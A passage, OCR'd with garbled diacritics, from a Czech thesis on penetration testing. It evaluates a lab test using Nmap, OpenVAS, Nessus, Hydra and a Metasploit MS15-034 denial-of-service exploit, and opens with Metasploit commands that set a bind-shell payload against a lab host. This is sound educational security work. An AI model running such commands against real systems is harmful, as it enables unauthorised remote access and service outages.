typu payload muze byt pripojeni k ptikazové radce napadeného stroje pires TCP/IP
spojeni a to primo do konzole metasploit frameworku. Nejprve je nutné vybrat typ
payloadu prikazem set payload windows/shell/bind_tcp, zvolit IP adresu zarizeni set

RHOST 192.168.0.222, potvrdit prikazem exploit.
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9 Vyhodnoceni a zhodnoceni vysledku testu

Tato kapitola bude vénovana vyhodnoceni vysledkt z probéhlého penetra¢niho
testovani. Je vhodné z kazdého penetrac¢niho testovani vytvorit report, kde jsou
shrnuty a zhodnoceny vysledky.

Nejprve probéhla ukazka prizkumu vsiti nastrojem Nmap. Priizkum byl
simulovan jako interni penetracni test, tedy test probihal uvnitr lokalni sité. Pro
tento ucel byla zvolena kombinace TCP, UDP a ACK skenu, celkem bylo zjisténo 25
aktivnich zarizeni. Vzhledem k povédomi autora této publikace o dané siti lze
usuzovat, Ze v priibéhu testovani bylo v siti celkem 27 zarizeni. Z tohoto faktu lze
vyvodit, Ze prizkum sité nastrojem Nmap odhalil skoro vSechna zarizeni a pravidla
firewallu by méla byt nastavena lépe. Jakmile byla zjiSténa dostupna zarizeni,
probéhla faze priizkumu hledani otevirenych porttli, spusténych sluzeb a odhad
operacniho systému na zarizenich. Nutno podotknout, Ze ptiidentifikaci operacnich
systémii Nmap na nékolika zarizeni selhal a operacni systém nezjistil. Nasledovala
analyza sitové komunikace, pti které nebylo zjiSténo nic diilezitého z hlediska

utoku.

Bezpecnostni slabiny zafizeni s IP adresou 192.168.0.222
(Windows Server 2012 R2)

25

m Kritické Stredné dulezité Nejméné dulezité Informativni

Obrazek 21 Souhrn bezpecnostnich slabin Windows Server 2012 R2
Zdroj: Vlastni zpracovani
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Bezpecnostni slabiny zafizeni s IP adresou 192.168.0.210
(Windows Server 2003)

11

76

123

Kritické ~ m Stfedné dalezité  Nejméné dillezité = Informativni
Obrazek 22 Souhrn bezpecnostnich slabin Windows Server 2003
Zdroj: Vlastni zpracovani

Jakmile byl manualné shromazdén dostatek informaci o sitové infrastrukture,
nasledovaly automatizované skeny zranitelnosti a to nastroji OpenVAS a Nessus.
Velky rozdil z hlediska zabezpeceni lze vidét na obrazcich ¢islo 19 a 20. Nejvétsi
rozdil je v instalovaném podporovaném operacnim systému na novéjsim zarizeni,
kde jsou pravidelné instalovany bezpecnostni zaplaty pro aplikace a sluzby.
Nepatrnou roli hraje i to, Ze na zatizeni s OS Windows Server 2003 je spusténo vice
sluzeb.

Dalsim krokem bylo vyzkouseni nalezenych bezpec¢nostnich hrozeb. Nejprve
byl zvolen nastroj Hydra pro slovnikovy utok. Zde byla nazorna ukazka toho, jak je
dtlezité volba slozitého komplexniho hesla. Velmi zalezi, jaky slovnik penetracni
tester pouzije. Vzhledem k velkému poctu dostupnych slovnikii je to otdzka ndhody,
zda bude heslo uhodnuto. Nicméné pokud ma uzivatel sloZité heslo, které nedava
logicky smysl, obsahuje vétsi pocet znaki a specialni znaky, je velmi mala Sance, Ze
heslo bude prolomeno, obzvlast slovnikovym utokem. Mnohem vétsi Sance na
prolomeni hesla je socialni inZenyrstvi nebo podobna metoda. Na internetu jsou
dostupné kalkulacky, podle kterych lze zjistit, jakou dobu trva prolomeni

konkrétnich hesel brute force metodou. Prolomeni relativné jednoduchého hesla
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MyPass20 brute force metodou by procesorem Intel Core i5-6600K trvalo zhruba 7
mésici [40].

Naposled byl vyzkouSen Metasploit Framework na otestovani bezpecnostni
slabiny MS15-034. Pri samotném exploitu byl vyuzit DoS tutok, vysledkem byla
modra smrt zafizeni a nutny restart. Utok na zafizeni prob&hl ispésné. Pokud by to

byl server v realném provozu, vyustilo by to v nedostupnost sluZeb.
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10 Zavéry a doporuéeni

V diplomové praci byla zachycena problematika pocitacovych utoki.
Teoreticka ¢ast byla vénovana predstaveni problematiky penetracniho testovani
a také vysvétleni stéZejnich termint spjatych s penetracnim testovanim. V praktické
Casti autor publikace ukazal praci s populdrnimi nastroji z oblasti penetra¢niho
testovani.

V ivodu teoretické faze bylo vysvétleno, co penetracni testovani je, jaké ma
obvykle faze a jakym zplisobem je klasifikované. Nasledovala kapitola o metodikach,
standardech. K vybranym standardiim byla napsana reserse. Na zakladé vysledki
z této kapitoly byla realizovana piipadova studie. Autor vybral to nejpodstatnéjsi
z metodik OSSTMM a NIST dle svého uvazeni. V dalsi kapitole byly predstaveny
vybrané kybernetické hrozby, jejich kratky popis a dopad. Nasledné byla
predstavena dostupna ochrana proti témto hrozbam. Pata kapitola byla vénovana
obecnym principim béhem penetracniho testovani. V Sesté Kapitole byly
predstaveny popularni nastroje uzivané k penetranimu testovani. U kazdého
nastroje byla vypracovana drobna reserse, k Cemu se pouziva, jakym zpiisobem,
jeho vyhody ¢i nevyhody a pod jakou licenci je dostupny na trhu. Vzhledem k tomu,
Ze zadnd metodika neni idedlni a technologické systémy nejsou homogenni, je
vhodné tyto metodiky kombinovat. Autor diplomové prace v sedmé kapitole navrhl
a definoval konkrétni metody v priibéhu navrZzeného scénare, vychazejici
z kombinaci vice metodik soucasné.

V praktické c¢asti byly nastinény praktické ukdzky doporucenych ndastroju.
Vzhledem k situaci, kdy je na trhu k dispozici velké mnozstvi nastrojli, penetracni
tester si mlize vybrat, pripadné je kombinovat za tcelem dosaZeni co nejlepsiho
vysledku. Ve fazi prizkumu bylo zjisténo nékolik zranitelnosti operacniho systému.
Soucasti praktické ¢asti je ukazka exploitu zranitelnosti pomoci nastroje metasploit
framework. Diky metasploit frameworku byla faze exploitu velmi jednoducha,
dilezité bylo vybrat spravny exploit a zvolit cil itoku. Prakticka ukazka simulovala
DoS utok, diky kterému bylo moZné vyrazovat server opakované z provozu. Na

zavér byly zhodnoceny vysledky navrzeného scénare.
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Vzhledem k vzriistajicimu poctu Utokii na pocitacové sité a systémy je ziejmé,
Ze zabezpeceni sit'ové infrastruktury je aktualnim tématem pro vSechny organizace.
Diplomova prace tak mize slouzit jako zdroj informaci pro novacky v oblasti

penetracniho testovani.
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